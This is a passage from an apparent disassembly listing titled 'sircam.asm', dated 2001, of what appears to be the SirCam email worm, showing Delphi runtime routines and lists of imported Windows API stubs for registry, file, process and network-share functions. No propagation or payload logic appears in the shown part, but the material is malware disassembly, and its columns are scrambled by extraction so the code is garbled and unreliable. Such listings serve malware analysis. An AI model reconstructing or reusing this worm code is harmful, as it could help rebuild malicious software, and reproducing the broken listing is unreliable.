; CODE XREF: CODE:004057E7\030j
mov
eax, edx
cdq
sar
eax, cl
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4057F5:
; CODE XREF: CODE:004057E2\030j
shrd
eax, edx, cl
sar
edx, cl
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
cmp
cl, 20h
jl
short loc_405811
cmp
cl, 40h
jl
short loc_40580A
xor
edx, edx
xor
eax, eax
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40580A:
; CODE XREF: CODE:00405803\030j
mov
eax, edx
xor
edx, edx
shr
eax, cl
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405811:
; CODE XREF: CODE:004057FE\030j
shrd
eax, edx, cl
shr
edx, cl
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sircam.asm
sub_405818
Fri Aug 10 12:42:44 2001
151
proc near
; DATA XREF: CODE:0041A8E8\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_405876
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E424
jnz
short loc_405868
mov
eax, offset unk_41E048
call
sub_404F80
mov
eax, offset unk_41E214
call
sub_404F80
call
sub_4019C8
mov
eax, offset word_41E40C
call
sub_4043B8
mov
eax, offset word_41E3FC
call
sub_4043B8
mov
eax, offset word_41E3EC
call
sub_4043B8
loc_405868:
xor
pop
pop
pop
mov
push
; CODE XREF: sub_405818+17\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40587D
locret_405875:
; CODE XREF: sub_405818+63\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405876:
; DATA XREF: sub_405818+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_405875
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40587D:
sub_405818
; CODE XREF: sub_405818+5D\030j
; DATA XREF: sub_405818+58\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_405880
proc near
; DATA XREF: CODE:0041A8E4\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_405968
push
dword ptr fs:[eax]
mov
fs:[eax], esp
sub
ds:dword_41E424, 1
jnb
loc_40595A
xor
eax, eax
mov
ds:dword_41E030, eax
xor
eax, eax
mov
ds:dword_41E038, eax
xor
eax, eax
mov
ds:dword_41E03C, eax
mov
ds:byte_41E042, 2
sircam.asm
Fri Aug 10 12:42:44 2001
152
mov
mov
mov
mov
mov
mov
mov
mov
mov
call
test
jz
call
ds:byte_41E043, 2
ds:byte_41E044, 3
ds:word_41E3EC, 0
ds:word_41E3FC, 1
ds:word_41E40C, 0Ah
ds:dword_41E414, 80020004h
ds:dword_41E3E0, offset loc_404028
ds:dword_41E3E4, offset sub_404020
ds:dword_41E3E8, offset loc_404028
sub_402A58
al, al
short loc_405919
sub_402A88
call
mov
mov
call
mov
mov
call
call
mov
call
mov
call
mov
; CODE XREF: sub_405880+92\030j
sub_402B4C
eax, offset unk_41E048
edx, offset dword_405974
sub_404E16
eax, offset unk_41E214
edx, offset dword_405974
sub_404E16
j_GetCommandLineA
ds:dword_41E02C, eax
sub_401214
ds:dword_41E028, eax
j_GetCurrentThreadId
ds:dword_41E020, eax
xor
pop
pop
pop
mov
push
; CODE XREF: sub_405880+18\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40596F
loc_405919:
loc_40595A:
locret_405967:
; CODE XREF: sub_405880+ED\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405968:
; DATA XREF: sub_405880+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_405967
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40596F:
sub_405880
; CODE XREF: sub_405880+E7\030j
; DATA XREF: sub_405880+E2\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dword_405974
dd 0
; DATA XREF: sub_405880+A3\030o
; sub_405880+B2\030o
; [00000006 BYTES: COLLAPSED FUNCTION j_GetModuleFileNameA_0. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetModuleHandleA_0. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_LocalAlloc_0. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_TlsGetValue. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_TlsSetValue. PRESS KEYPAD "+" TO EXPAND]
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
sub_4059A0
Fri Aug 10 12:42:44 2001
153
proc near
; CODE XREF: sub_4059F0+1B\031p
push
ebx
mov
eax, 0Ch
test
eax, eax
jz
short loc_4059ED
cmp
ds:dword_41E4CC, 0
jge
short loc_4059BD
mov
eax, 0E2h
call
sub_4034BC
loc_4059BD:
; CODE XREF: sub_4059A0+11\030j
push
0Ch
push
40h
call
j_LocalAlloc_0
mov
ebx, eax
test
ebx, ebx
jnz
short loc_4059DB
mov
eax, 0E2h
call
sub_4034BC
jmp
short loc_4059E7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4059DB:
push
mov
push
call
; CODE XREF: sub_4059A0+2D\030j
ebx
eax, ds:dword_41E4CC
eax
j_TlsSetValue
mov
; CODE XREF: sub_4059A0+39\030j
ds:dword_41E4DC, ebx
loc_4059E7:
loc_4059ED:
sub_4059A0
; CODE XREF: sub_4059A0+8\030j
pop
ebx
retn
endp ; sp = -8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_4059F0
proc near
; CODE XREF: sub_402618+19\030p
; sub_40265C+3\030p ...
cl, ds:byte_41E4C8
eax, ds:dword_41E4CC
cl, cl
short loc_405A28
edx, large fs:2Ch
eax, [edx+eax*4]
mov
mov
test
jnz
mov
mov
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405A0B:
; CODE XREF: sub_4059F0+40\031j
call
sub_4059A0
mov
eax, ds:dword_41E4CC
push
eax
call
j_TlsGetValue
test
eax, eax
jz
short loc_405A21
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405A21:
; CODE XREF: sub_4059F0+2E\030j
mov
eax, ds:dword_41E4DC
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405A28:
; CODE XREF: sub_4059F0+E\030j
sircam.asm
sub_4059F0
Fri Aug 10 12:42:44 2001
push
call
test
jz
retn
endp
154
eax
j_TlsGetValue
eax, eax
short loc_405A0B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_405A34
proc near
var_108
= byte ptr -108h
push
add
push
lea
push
mov
push
call
mov
call
mov
mov
test
jnz
mov
mov
loc_405A6D:
sub_405A34
; CODE XREF: sub_405A80+25\031p
ebx
esp, 0FFFFFEF8h
105h
eax, [esp+10Ch+var_108]
eax
eax, ds:dword_41E4D4
eax
j_GetModuleFileNameA_0
eax, esp
sub_404818
ebx, eax
ds:dword_41C0B4, ebx
ebx, ebx
short loc_405A6D
eax, ds:dword_41C0A8
ds:dword_41C0B4, eax
; CODE XREF: sub_405A34+2D\030j
mov
eax, offset asc_41C0A0+4
call
sub_404B00
add
esp, 108h
pop
ebx
retn
endp ; sp = -0Ch
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_405A80
sub_405A80
proc near
; CODE XREF: start+18\031p
push
eax
push
0
call
j_GetModuleHandleA_0
mov
edx, offset asc_41C0A0+4
push
edx
mov
ds:dword_41E4D4, eax
mov
[edx+4], eax
mov
dword ptr [edx+8], 0
mov
dword ptr [edx+0Ch], 0
call
sub_405A34
pop
edx
pop
eax
call
sub_4032A0
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
Fri Aug 10 12:42:44 2001
155
; Attributes: bp-based frame
sub_405AB4
proc near
; DATA XREF: CODE:0041A8E0\031o
push
ebp
mov
ebp, esp
xor
eax, eax
push
ebp
push
offset loc_405AD9
push
dword ptr fs:[eax]
mov
fs:[eax], esp
inc
ds:dword_41E4D8
xor
eax, eax
pop
edx
pop
ecx
pop
ecx
mov
fs:[eax], edx
push
offset loc_405AE0
locret_405AD8:
; CODE XREF: sub_405AB4+2A\031j
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405AD9:
; DATA XREF: sub_405AB4+6\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short locret_405AD8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_405AE0:
sub_405AB4
; CODE XREF: sub_405AB4+24\030j
; DATA XREF: sub_405AB4+1F\030o
pop
ebp
retn
endp ; sp = -4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_405AE4:
; [00000006
; [00000006
; [00000006
; [00000006
; [00000006
; [00000006
; [00000006
; [00000006
; [00000006
; [00000006
; [00000006
; [00000006
; [00000006
ND]
; DATA XREF: CODE:0041A8DC\031o
sub
ds:dword_41E4D8, 1
retn
BYTES: COLLAPSED FUNCTION j_GetUserNameA. PRESS KEYPAD "+" TO EXPAND]
align 4
BYTES: COLLAPSED FUNCTION j_RegCloseKey_0. PRESS KEYPAD "+" TO EXPAND]
align 4
BYTES: COLLAPSED FUNCTION j_RegCreateKeyExA. PRESS KEYPAD "+" TO EXPAND]
align 4
BYTES: COLLAPSED FUNCTION j_RegFlushKey. PRESS KEYPAD "+" TO EXPAND]
align 4
BYTES: COLLAPSED FUNCTION j_RegOpenKeyExA_0. PRESS KEYPAD "+" TO EXPAND]
align 4
BYTES: COLLAPSED FUNCTION j_RegQueryValueExA_0. PRESS KEYPAD "+" TO EXPAND]
align 4
BYTES: COLLAPSED FUNCTION j_RegSetValueExA. PRESS KEYPAD "+" TO EXPAND]
align 4
BYTES: COLLAPSED FUNCTION j_CloseHandle_0. PRESS KEYPAD "+" TO EXPAND]
align 4
BYTES: COLLAPSED FUNCTION j_CompareStringA. PRESS KEYPAD "+" TO EXPAND]
align 4
BYTES: COLLAPSED FUNCTION j_CopyFileA. PRESS KEYPAD "+" TO EXPAND]
align 4
BYTES: COLLAPSED FUNCTION j_CreateEventA. PRESS KEYPAD "+" TO EXPAND]
align 4
BYTES: COLLAPSED FUNCTION j_CreateFileA_0. PRESS KEYPAD "+" TO EXPAND]
align 4
BYTES: COLLAPSED FUNCTION j_DeleteCriticalSection_0. PRESS KEYPAD "+" TO EXPA
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DeleteFileA. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_EnterCriticalSection_0. PRESS KEYPAD "+" TO EXPAN
sircam.asm
Fri Aug 10 12:42:44 2001
156
D]
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
]
align 4
; [00000006 BYTES: COLLAPSED
ND]
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
D]
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
FUNCTION j_EnumCalendarInfoA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_FileTimeToDosDateTime. PRESS KEYPAD "+" TO EXPAND
FUNCTION j_FileTimeToLocalFileTime. PRESS KEYPAD "+" TO EXPA
FUNCTION j_FindClose_0. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_FindFirstFileA_0. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_FindNextFileA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_FormatMessageA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetACP. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetCPInfo. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetComputerNameA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetCurrentDirectoryA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetCurrentProcess. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetCurrentProcessId. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetCurrentThread. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetCurrentThreadId_0. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetDateFormatA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetDiskFreeSpaceA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetLastError_0. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetLocalTime. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetLocaleInfoA_0. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetModuleFileNameA_1. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetModuleHandleA_1. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetProcAddress_0. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetShortPathNameA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetSystemDirectoryA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetTempPathA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetThreadLocale_0. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetTimeZoneInformation. PRESS KEYPAD "+" TO EXPAN
FUNCTION j_GetUserDefaultLangID. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetVersionExA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GetWindowsDirectoryA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GlobalAddAtomA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GlobalAlloc. PRESS KEYPAD "+" TO EXPAND]
sircam.asm
Fri Aug 10 12:42:44 2001
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
EXPAND]
align 4
; [00000006 BYTES: COLLAPSED
D]
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
D]
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
; [00000006 BYTES: COLLAPSED
align 4
157
FUNCTION j_GlobalDeleteAtom. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GlobalFindAtomA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GlobalFree. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GlobalLock. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GlobalHandle. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GlobalReAlloc. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_GlobalUnlock. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_InitializeCriticalSection_0. PRESS KEYPAD "+" TO
FUNCTION j_LeaveCriticalSection_0. PRESS KEYPAD "+" TO EXPAN
FUNCTION j_LoadLibraryA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_MulDiv. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_ReadFile_0. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_RemoveDirectoryA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_SetEndOfFile_0. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_SetFileAttributesA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_SetFilePointer_0. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_SetPriorityClass. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_SetThreadPriority. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_Sleep. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_VerLanguageNameA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_VirtualQuery_0. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_WaitForSingleObject. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_WinExec. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_WriteFile_0. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_WNetEnumResourceA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_WNetOpenEnumA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_CreateBitmap. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_CreateBrushIndirect. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_CreateCompatibleBitmap. PRESS KEYPAD "+" TO EXPAN
FUNCTION j_CreateCompatibleDC. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_CreateDIBitmap. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_CreateFontIndirectA. PRESS KEYPAD "+" TO EXPAND]
FUNCTION j_CreatePalette. PRESS KEYPAD "+" TO EXPAND]
sircam.asm
Fri Aug 10 12:42:44 2001
158
; [00000006 BYTES: COLLAPSED FUNCTION j_CreatePenIndirect. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DeleteDC. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DeleteObject. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetBitmapBits. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetCurrentPositionEx. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetDIBits. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetDeviceCaps. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetObjectA. PRESS KEYPAD "+" TO EXPAND]
align 4
db 0FFh ;
db 25h ; %
db 80h ; \200 OFF32 SEGDEF [_idata,41F380]
db 0F3h ; ó
db 41h ; A
db
0 ;
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetSystemPaletteEntries. PRESS KEYPAD "+" TO EXPA
ND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetTextMetricsA. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_MoveToEx. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_RealizePalette. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SelectObject. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SelectPalette. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetBkColor. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetBkMode. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetROP2. PRESS KEYPAD "+" TO EXPAND]
align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetTextColor. PRESS KEYPAD "+" TO EXPAND]
align 4
